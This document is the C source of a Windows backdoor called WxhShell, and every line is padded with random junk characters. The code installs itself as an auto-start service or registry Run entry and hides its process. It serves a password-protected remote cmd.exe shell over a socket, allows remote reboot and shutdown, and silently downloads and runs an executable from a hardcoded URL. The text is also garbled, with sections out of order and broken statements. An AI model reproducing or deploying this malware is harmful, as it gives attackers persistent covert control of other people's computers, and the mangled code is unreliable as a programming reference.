  // 关机 # $k1w@  
  case 'd': { Q:Pp'[ RK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :<B_V<  
    if(Boot(SHUTDOWN)) ,g}$u'A+d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =H23eOS_#  
    else { xg7KU&  
    closesocket(wsh); u6?9#L(  
    ExitThread(0); 8@LWg d  
    } 6lg]5d2CD  
    break; EATVce]T  
    } #k)z5vZ$h  
  // 获取shell P2f^]z  
  case 's': { N9#xTX  
    CmdShell(wsh); >KP,67  
    closesocket(wsh); kZF<~U  
    ExitThread(0); /bo=,%wJ[  
    break; LI3L~6A>  
  } )P b$  
  // 退出 h9im S\gfr  
  case 'x': { o$;&q *  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3{~(_  
    CloseIt(wsh); W/,:-R&'>  
    break; <_t]?XHB[  
    } =oh%-Sh:  
  // 离开 \xggIW.^0  
  case 'q': { ,9jk<)m]L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xrBM`Bj0@  
    closesocket(wsh); q'+ARW48  
    WSACleanup(); |O>e=HC#q8  
    exit(1); Rrry;Hr  
    break; _<mY|  
        } wE=I3E%  
  } X\H P{$fY_  
  } f1'X<VA  
F."ZCEb  
  // 提示信息 U _A'/p^D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >0ZG&W9  
} w0j'>4  
  } UcB&p t&  
EZ"i0u  
  return; |XG&[TI- "  
} Ut'T!RD  
3V^5 4_  
// shell模块句柄 XgnNYy6W  
int CmdShell(SOCKET sock) MbInXv$q2/  
{ %{rb,6  
STARTUPINFO si; 5RWqHPw+  
ZeroMemory(&si,sizeof(si)); AD`5:G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VO {z)_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {j`8XWLZZN  
PROCESS_INFORMATION ProcessInfo; 2!W[ff@~7  
char cmdline[]="cmd"; /8l@n dZf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); : KFK2yD  
  return 0; pi#a!Quf\  
} (gVN<Es  
j-**\.4a~  
// 自身启动模式 rf@47H  
int StartFromService(void) Pn9;&`t  
{ /E\04Bs  
typedef struct 2-Q5l*  
{ SYsO>`/ )  
  DWORD ExitStatus; V{q*hQd_3  
  DWORD PebBaseAddress; Qt>kythi  
  DWORD AffinityMask; 0$-|Th:o  
  DWORD BasePriority; d(RMD  
  ULONG UniqueProcessId; f2o6GC_  
  ULONG InheritedFromUniqueProcessId; Y7q Q` |  
}   PROCESS_BASIC_INFORMATION; lo6upir ZX  
I;wxgWOP  
PROCNTQSIP NtQueryInformationProcess; k}nGgd6XD  
x_<#28H!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k1yqe rA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IOC$jab@  
`5Z'8^  
  HANDLE             hProcess; V?.=_T<  
  PROCESS_BASIC_INFORMATION pbi; DxN\ H"  
cc`u{F9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /&47qU4PJ  
  if(NULL == hInst ) return 0; wVI_SQ<8V  
_s0)Dl6K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ( [a$Z2m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C}3a  ^j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l4taD!WD/  
z(.,BB[  
  if (!NtQueryInformationProcess) return 0; ^["D>@yIR  
s.;'-oA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kxEq_FX  
  if(!hProcess) return 0; wexX|B^u  
[Rq|;p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; II _CT=  
? -3G5yy  
  CloseHandle(hProcess); Ce}m$k  
VE*`J i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tQT<1Q02i  
if(hProcess==NULL) return 0; baTd;`Pn  
IaRwPDj6  
HMODULE hMod; F|!=]A<  
char procName[255]; 9mXmghoCO  
unsigned long cbNeeded; Uj 4HVd  
1uKIO{d @  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,+h<qBsV@  
>jTiYJI_M  
  CloseHandle(hProcess); rc>}3?o  
1/ j >|  
if(strstr(procName,"services")) return 1; // 以服务启动 (gvnIoDl0  
3"my!}03  
  return 0; // 注册表启动 NW;_4g4qE  
} >b0 Bvx-  
/>:$"+gKo  
// 主模块 1TfFWlf[B  
int StartWxhshell(LPSTR lpCmdLine) GJE+sqMX1  
{ Oi~Dio_?  
  SOCKET wsl; G[>CBh5  
BOOL val=TRUE; (yuOY/~k/  
  int port=0; |cuKC \  
  struct sockaddr_in door; 1lA? 5:  
D8E^[w!  
  if(wscfg.ws_autoins) Install(); I(&N2L$-  
* &#M`,#  
port=atoi(lpCmdLine); Si23w'T  
9)=bBQyr:  
if(port<=0) port=wscfg.ws_port; Vx5fQ mx  
dikX_ Q>D  
  WSADATA data; "mU2^4q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XJl 3\*  
RHvK Wt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #7:ah  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n,-*$~{  
  door.sin_family = AF_INET; Mkt_pr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %M8Q6  
  door.sin_port = htons(port); 6kR3[]:16v  
Dh#5-Kf%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  4y5Q5)j  
closesocket(wsl); OU]"uV<(  
return 1; >bhF{*t#;y  
} h?4EVOx+  
TL$w~dY  
  if(listen(wsl,2) == INVALID_SOCKET) { `RURC"  
closesocket(wsl); &E!m(|6?+  
return 1; $5\sV48f  
} ~K|ha26W  
  Wxhshell(wsl); bYhG`1,$-a  
  WSACleanup(); Y![ i=/  
;.$vDin6  
return 0; ' < >Q20  
g.8^ )u  
} D]'8BS3  
vt(}8C+  
// 以NT服务方式启动 XS&;8 PO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9 MQwc  
{ |KPNl\%ID  
DWORD   status = 0; /=#~8  
  DWORD   specificError = 0xfffffff; &FZ~n?;hQ  
) R5[a O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &K=) YpT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,PKUgL}w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O\]{6+$fm!  
  serviceStatus.dwWin32ExitCode     = 0; &i`(y>\  
  serviceStatus.dwServiceSpecificExitCode = 0; wF6a*b@v  
  serviceStatus.dwCheckPoint       = 0; # X{lV]Z  
  serviceStatus.dwWaitHint       = 0; [(8s\>T  
<5FGL96  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CL(D&8v8~  
  if (hServiceStatusHandle==0) return; ||7x51-yj  
,%V%g!6{  
status = GetLastError(); Y|/,*,u+  
  if (status!=NO_ERROR) [V;u7Z\r-  
{ W5Jb5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $ Grk{]nT  
    serviceStatus.dwCheckPoint       = 0; I>-1kFma;  
    serviceStatus.dwWaitHint       = 0; .ubZ  
    serviceStatus.dwWin32ExitCode     = status; pf yJL?_%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 81I9xqvSd~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ib/e\+H\  
    return; z<yqQ[  
  } 7o*~zDh@fH  
/6 x[C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g~=- ,j|  
  serviceStatus.dwCheckPoint       = 0; j&8G tE1b  
  serviceStatus.dwWaitHint       = 0; Ck/w:i@>?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4VsttT  
} 'XYjo&w  
)7E7K%:b,  
// 处理NT服务事件,比如:启动、停止 (CYQ>)a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gKWUHlQY  
{ =|^R<#%/  
switch(fdwControl) ~Hx>yn94e  
{ KYg'=({x  
case SERVICE_CONTROL_STOP: 'auYmX  
  serviceStatus.dwWin32ExitCode = 0; zE}ry!{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <]`|HJoy  
  serviceStatus.dwCheckPoint   = 0; ,n>K$  
  serviceStatus.dwWaitHint     = 0; ;__k*<+{.  
  { dg(sRTi{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^p%3@)&  
  } BGu<1$ G  
  return; z<. 6jx@  
case SERVICE_CONTROL_PAUSE: 1u }2}c|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W E /1h  
  break; 1wggYX  
case SERVICE_CONTROL_CONTINUE: cy2K#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mGw*6kOIS  
  break; cj#.Oaeq*  
case SERVICE_CONTROL_INTERROGATE: w,!N{hv(  
  break; _.W;hf`  
}; h}oV)z6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %;GRR (K  
} #Qu|9Q[QH  
+ul.P)1J6  
// 标准应用程序主函数 T{'oR .g,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `yRt?UQRS  
{ rPifiLl A>  
R!x /,6,_  
// 获取操作系统版本 PnI_W84z  
OsIsNt=GetOsVer(); +' .o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Sc*AE&Y  
.SWn/Kk  
  // 从命令行安装 OZ<fQf.Gh}  
  if(strpbrk(lpCmdLine,"iI")) Install(); B/JMH 1r  
MBol_#H  
  // 下载执行文件 Fj&8wZ)v)  
if(wscfg.ws_downexe) { [bBPs&7u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `n`HwDo;i  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,!^;<UR:  
} -e+im(2D=  
{]7lh#M  
if(!OsIsNt) { P@Pe5H"o  
// 如果时win9x,隐藏进程并且设置为注册表启动 'H1k  
HideProc(); `4qtmbj  
StartWxhshell(lpCmdLine); A_.}- dzF  
} %e/L .#0  
else _+0c<'  
  if(StartFromService()) k& ]I;Aq  
  // 以服务方式启动 S=`#X,Wo  
  StartServiceCtrlDispatcher(DispatchTable); r!p:73L8  
else 0(A&m ,  
  // 普通方式启动 reNUIDt/c  
  StartWxhshell(lpCmdLine); !F$o$iq  
92/_!P>  
return 0; G8b`>@rZ  
} ?ViU%t8J5  
'FG@Rg (  
`] Zil8n  
*!}bU`  
=========================================== Xh*Nu HH  
[XNDYaF8  
t"&qaG{  
_xo;[rEw8  
p,mKgL63  
L5]uT`Twa  
" qI2&a$Zb$  
WG5)-;>q|  
#include <stdio.h> .DhB4v&  
#include <string.h> 6eK7Jv\K  
#include <windows.h> m P./e8  
#include <winsock2.h> m*>gG{3;  
#include <winsvc.h> }FkF1?C  
#include <urlmon.h> :-T[)Q+-3  
+,4u1`c|$  
#pragma comment (lib, "Ws2_32.lib") ^ `[T0X  
#pragma comment (lib, "urlmon.lib") .fNLhyd  
Ot~buf'|  
#define MAX_USER   100 // 最大客户端连接数 %?O$xQ.<  
#define BUF_SOCK   200 // sock buffer {jEEAH)  
#define KEY_BUFF   255 // 输入 buffer &f/"ir[8i  
U1=\ `)u;  
#define REBOOT     0   // 重启  |u^~Z-.  
#define SHUTDOWN   1   // 关机  :LTjV"f  
B5#>ieM*  
#define DEF_PORT   5000 // 监听端口 Y\9zjewc  
Rw`64L_  
#define REG_LEN     16   // 注册表键长度 (ZD~Q_O-  
#define SVC_LEN     80   // NT服务名长度 %/%TR@/  
`_pVwa<@w  
// 从dll定义API ]/?$DNjCc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bxAHzOB(\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @`rC2-V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uVZX53 ,g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jG/@kh*m  
zIc_'Z,b  
// wxhshell配置信息 EzXi*/  
struct WSCFG { "'I |#dKoG  
  int ws_port;         // 监听端口 rCdTn+O2  
  char ws_passstr[REG_LEN]; // 口令 ,y[w`Q\  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tl-Ix&37  
  char ws_regname[REG_LEN]; // 注册表键名 qo:t"x^  
  char ws_svcname[REG_LEN]; // 服务名 7k#0EhN1>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &v/R-pz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fa(-&;q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nm@.] "/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j k/-7/r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 249DAjn+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P,K^ oz}  
En YEAjX  
}; ^-qz!ib  
F<Z13]|  
// default Wxhshell configuration i dY Xv)R  
struct WSCFG wscfg={DEF_PORT, +-MieiKv  
    "xuhuanlingzhe", ;^so;>F  
    1, 8MBvp*  
    "Wxhshell", ?l ](RI  
    "Wxhshell", E-HK=D&W/  
            "WxhShell Service", &bCk`]j:  
    "Wrsky Windows CmdShell Service", 1<pb=H  
    "Please Input Your Password: ", (iu IeJ^Z  
  1, 'M% uw85  
  "http://www.wrsky.com/wxhshell.exe", Wf-Pa9  
  "Wxhshell.exe" o65I(`  
    }; E{IY7Xz^>  
W,[iRmxn  
// 消息定义模块 6G>loNM^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )*9,H|2nS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p 8lm1;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `&FfGftc  
char *msg_ws_ext="\n\rExit."; m~8=?R+m  
char *msg_ws_end="\n\rQuit."; ;1Q @d  
char *msg_ws_boot="\n\rReboot..."; ST[E$XL6  
char *msg_ws_poff="\n\rShutdown..."; ?2Sm f  
char *msg_ws_down="\n\rSave to "; kntULI$`  
%[k"A  
char *msg_ws_err="\n\rErr!"; JYa3xeC;  
char *msg_ws_ok="\n\rOK!"; jUrUM.CJ\N  
p1 mY!&e(  
char ExeFile[MAX_PATH]; z v:o$2Z  
int nUser = 0; )W!\D/C+  
HANDLE handles[MAX_USER]; ic?(`6N8  
int OsIsNt; U/>l>J5  
W%< z|  
SERVICE_STATUS       serviceStatus; fWl #CI\]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3F{R$M}  
MZdj!(hO  
// 函数声明 \kC'y9k  
int Install(void); NsL!AAN[V  
int Uninstall(void); 2mfG: ^^c  
int DownloadFile(char *sURL, SOCKET wsh); x3 01uf[  
int Boot(int flag); T&]IPOH9  
void HideProc(void); E&> 2=$~  
int GetOsVer(void); F&D ,y-CQ  
int Wxhshell(SOCKET wsl); ~R~MC(5N[  
void TalkWithClient(void *cs); jluv}*If  
int CmdShell(SOCKET sock); 5ih5=qX  
int StartFromService(void); $!\Z_ :  
int StartWxhshell(LPSTR lpCmdLine); }}4uLGu)  
i6xzHfaYG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G3.\x_;k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); So}pA2[0  
$~'G<YYF4  
// 数据结构和表定义 !>6`+$=U  
SERVICE_TABLE_ENTRY DispatchTable[] = \r- v]]_<d  
{ :<,tGYg/!  
{wscfg.ws_svcname, NTServiceMain}, .!_^<c6  
{NULL, NULL} >\!k~Zi  
}; ^6PKSEba  
->J5|c#  
// 自我安装 *!`bC@E  
int Install(void) y+$a}=cb0  
{ Cuo"6, M  
  char svExeFile[MAX_PATH]; -5,+gakSk  
  HKEY key; sJm v{wM  
  strcpy(svExeFile,ExeFile); 6Bn}W ?  
Dx.hM[  
// 如果是win9x系统,修改注册表设为自启动 DN|+d{^lN  
if(!OsIsNt) { 1A N)%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NX?6 (lO,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dX DuO  
  RegCloseKey(key); Q VWVZ >l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -z>m]YDH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]NY^0SqM  
  RegCloseKey(key); ~?KbpB|  
  return 0; Lcf]  
    } 3SI%>CO}  
  } A}sdi4[`  
} lk4$c1ao2@  
else { VaTA|=[;  
bJFqyK:6  
// 如果是NT以上系统,安装为系统服务 Q,R|VI6Co  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1c:/c|shQ_  
if (schSCManager!=0) uo7[T*<Q  
{ $%5vJiuk  
  SC_HANDLE schService = CreateService |O[ I=!  
  ( 0t)5KO  
  schSCManager, $2$jV1s  
  wscfg.ws_svcname, 6bBNC2K$-  
  wscfg.ws_svcdisp, 1b8}TG2  
  SERVICE_ALL_ACCESS, 10m`LG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &[ $t%:`  
  SERVICE_AUTO_START, dSbz$Fct  
  SERVICE_ERROR_NORMAL, sUpSXG-W/@  
  svExeFile, 6x@4gP y[  
  NULL, ~oeX0l>F  
  NULL, 6tup^Rlo;$  
  NULL, K#]FUUnj=  
  NULL, Wfh+D[^  
  NULL x6 h53R  
  ); v8K4u)  
  if (schService!=0) C59H| S  
  { /.:&9 c  
  CloseServiceHandle(schService); k~qZ^9QB~  
  CloseServiceHandle(schSCManager); q (}#{OO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i[PksT#p  
  strcat(svExeFile,wscfg.ws_svcname); |/!RN[<   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7'R7J"sY`|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gHVD,Jr  
  RegCloseKey(key); lF)k4 +M  
  return 0; HvW6=d(#  
    } '.#3h$d  
  } b%e7rY2  
  CloseServiceHandle(schSCManager); 'PdUSv|lH  
} .a}!!\@  
} ^fvx2<  
qino:_g  
return 1; Q$~_'I7~Mz  
} ?wMS[Kj  
)7a 4yTg!~  
// 自我卸载 mlbSs_LT^  
int Uninstall(void) d&%}u1 .  
{ 0Yfz?:e  
  HKEY key; jYsg'Rl  
I =nvL  
if(!OsIsNt) { &(~"OD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %?!TqJT?{  
  RegDeleteValue(key,wscfg.ws_regname); Z+Ppd=||,  
  RegCloseKey(key); qz|xow/ns@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A7TV-eWG  
  RegDeleteValue(key,wscfg.ws_regname); %(g!,!l)  
  RegCloseKey(key); zCSLV>.F  
  return 0; @;>Xy!G  
  } gdG#;T'  
} 2yA+zJ 46B  
} 8<Ex`  
else { N-}|!pqb  
Q=#!wWVP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jQpG7H  
if (schSCManager!=0) k]yv#Pa  
{ _sIr'sR~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <}1GYeP  
  if (schService!=0)  P'oY +#  
  { opqf)C  
  if(DeleteService(schService)!=0) { r+}<]?aT>-  
  CloseServiceHandle(schService); da5fKK/s  
  CloseServiceHandle(schSCManager); fx/If  
  return 0; ^Rmrre`uU  
  } N1X;&qZDd  
  CloseServiceHandle(schService); z2OXCZ*/  
  } 2 m2$jp0  
  CloseServiceHandle(schSCManager); {)& b6}2h  
} avxI%%|  
} QykHB k  
pcPRkYT[ M  
return 1; Is }?:ET  
} RH&}'4JE:  
BmCBC,j<v>  
// 从指定url下载文件 qim|=  
int DownloadFile(char *sURL, SOCKET wsh) 5S&^mj-9  
{ uN(N2m  
  HRESULT hr; k:CSH{s5{  
char seps[]= "/"; *|)O  
char *token; 'd9cCQ}  
char *file; M[KYt"v  
char myURL[MAX_PATH]; ph@2[rUp  
char myFILE[MAX_PATH]; UymhBh  
#oEq)Vq>g|  
strcpy(myURL,sURL); hPrE  
  token=strtok(myURL,seps); @{x+ln1r  
  while(token!=NULL) eHH9#Vrhc$  
  { <`*v/D7\02  
    file=token; @1)C3(=A  
  token=strtok(NULL,seps); 7kQ,D,c'  
  } -|_io,eL;  
Fo&ecWhw  
GetCurrentDirectory(MAX_PATH,myFILE); kud2O>>  
strcat(myFILE, "\\"); &A~(9IV  
strcat(myFILE, file); -(|}:J  
  send(wsh,myFILE,strlen(myFILE),0); t 2&}  
send(wsh,"...",3,0); ]8EkZC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BaE}|4  
  if(hr==S_OK) SRc|9W5t*J  
return 0; @RLlkWGc  
else 1xMD )V:  
return 1; t: qPW<wc  
~Ec@hz]js  
} *mfPq"/  
Aq{7WA  
// 系统电源模块 a: [m;  
int Boot(int flag) ceNJXK  
{  `/eh  
  HANDLE hToken; K<7 Db4H  
  TOKEN_PRIVILEGES tkp; (JeRJ4  
_ +A$6l  
  if(OsIsNt) { K@;ls  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iuWw(dJk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <zF/at  
    tkp.PrivilegeCount = 1; b ;t b&o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [N guQ]B.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <N\#6m  
if(flag==REBOOT) { / lN09j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EO \@#",a  
  return 0;  Fs1ms)  
} 5b%zpx0Y  
else { 0 +"P 1/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9NcC.}#-5  
  return 0; Lcy>!3q3~  
} `jH0FJQ  
  } ?&r >`H E  
  else { vA, tW,  
if(flag==REBOOT) { "AMsBvzgo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bL18G(5  
  return 0; &?B\(?*  
} )J!=X`b  
else { / S)&dN`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i@`T_&6l  
  return 0; y{1|@?ii  
} sK`pV8&xq  
} b:(*C  
>rzpYc'~w  
return 1;  S]&7  
} ;gv9J [R  
kR|(hA,$N  
// win9x进程隐藏模块 z}*74lhF  
void HideProc(void) SZ"^>}zl=  
{ Q5qQ%cu  
Sh RkL<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]; G$~[  
  if ( hKernel != NULL ) pM7xnL4  
  { jRzQ`*KC#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E| =~rIKN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U2VnACCUZs  
    FreeLibrary(hKernel); ^LJ?GJ$g  
  } J0"<}"  
?$FvE4!n  
return; B|n<{g[-cM  
} ,c'a+NQ_t  
](H vx  
// 获取操作系统版本 B%d2tsDw  
int GetOsVer(void) 7U{g'<  
{ [!E~pW%|n  
  OSVERSIONINFO winfo; ;yK:.Vg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z]I yj 97  
  GetVersionEx(&winfo); Gn%gSH/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LXQ-J  
  return 1; !t 92_y3  
  else bAqaf#}e  
  return 0; /4n:!6rt  
} Gr?[s'Ze  
1u0 NG)*f  
// 客户端句柄模块 ,zY!EHpx  
int Wxhshell(SOCKET wsl) Zf%6U[{ T  
{ ;qT7BUh(%  
  SOCKET wsh; [{!5{k!  
  struct sockaddr_in client; 1p9+c~4l:  
  DWORD myID; }];_ug* "  
^04|tda  
  while(nUser<MAX_USER) RW. >;|m  
{ I7nZ9n|KU  
  int nSize=sizeof(client); Pkw ` o #  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U 4@W{P02  
  if(wsh==INVALID_SOCKET) return 1; 'F@#.Op`  
]1<O [d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *T'>-nm]  
if(handles[nUser]==0) s8<)lO<SV.  
  closesocket(wsh); mME a*9P  
else h^KLqPBt{  
  nUser++; 13nXvYo'  
  } "m:4e`_dz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o-jF?9m  
) Pdl[+a  
  return 0; X%b.]A  
} va/$dD9  
R_2JP C  
// 关闭 socket uR7\uvibUO  
void CloseIt(SOCKET wsh) :9`T.V<?  
{ $xf{m9 8  
closesocket(wsh); ,@Izx  
nUser--; L4'FL?~I  
ExitThread(0); *.DTcV  
} Lh5d2}tcO  
kWgZIkY  
// 客户端请求句柄 %CP:rAd`M.  
void TalkWithClient(void *cs) \VX~'pkrd/  
{ Ysk,9MR(F  
bLysUj5[5  
  SOCKET wsh=(SOCKET)cs; 2$O @T]  
  char pwd[SVC_LEN]; ?][2J  
  char cmd[KEY_BUFF]; @*gm\sU4  
char chr[1];  TVP.)%  
int i,j; i>C:C>~  
;ip"V 0`  
  while (nUser < MAX_USER) { hd2 X/"  
N}3$1=@Y  
if(wscfg.ws_passstr) { 6h|@Bz/A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r%g?.4o*b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +0Rr5^8u  
  //ZeroMemory(pwd,KEY_BUFF); 0/."R ;  
      i=0; ;_lEu" -  
  while(i<SVC_LEN) { x_oL~~@  
t4H@ZvAH0  
  // 设置超时 |QvG;{!  
  fd_set FdRead; {zc<:^r^  
  struct timeval TimeOut; e:Zc-  
  FD_ZERO(&FdRead); 0pS|t/h0  
  FD_SET(wsh,&FdRead); ]r{-K63P{!  
  TimeOut.tv_sec=8; <z*SO a  
  TimeOut.tv_usec=0; DVNGV   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;y7V-sf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Z|s!~wdz  
PL#8~e;'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \1[I(u  
  pwd=chr[0]; Xp=Y<`dX  
  if(chr[0]==0xd || chr[0]==0xa) { D/w4u;E@  
  pwd=0; ? 5qo>W<7  
  break; RrkS!E[C  
  }  l+.E'   
  i++; D@i,dPz5Zl  
    } [UVxtMJ  
$C UmRi{T  
  // 如果是非法用户,关闭 socket ,Z;z}{.hq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nz|;6?LCLY  
} NW`.RGLI<  
xP.B,1\X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,x?H]a)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {g2cm'hD  
>o=3RB=Fh  
while(1) { _be*B+?2t  
W%f:+s}cI  
  ZeroMemory(cmd,KEY_BUFF); s7C oUd2  
Hut au^l  
      // 自动支持客户端 telnet标准   zn T85#]\@  
  j=0; U n#7@8,  
  while(j<KEY_BUFF) { HM])m>KeT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JrTSu`S('  
  cmd[j]=chr[0]; R$&|*0  
  if(chr[0]==0xa || chr[0]==0xd) { x=yU }lsV  
  cmd[j]=0; qwu++9BM  
  break; /(w:XTO<  
  } 2sjP":  
  j++; ,P ?TYk  
    } -&#L4AM%(9  
N7%+n*Z  
  // 下载文件 5r<%xanXW/  
  if(strstr(cmd,"http://")) { "-y\F}TE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sq&*K9:z  
  if(DownloadFile(cmd,wsh)) H(ht{.sjI  
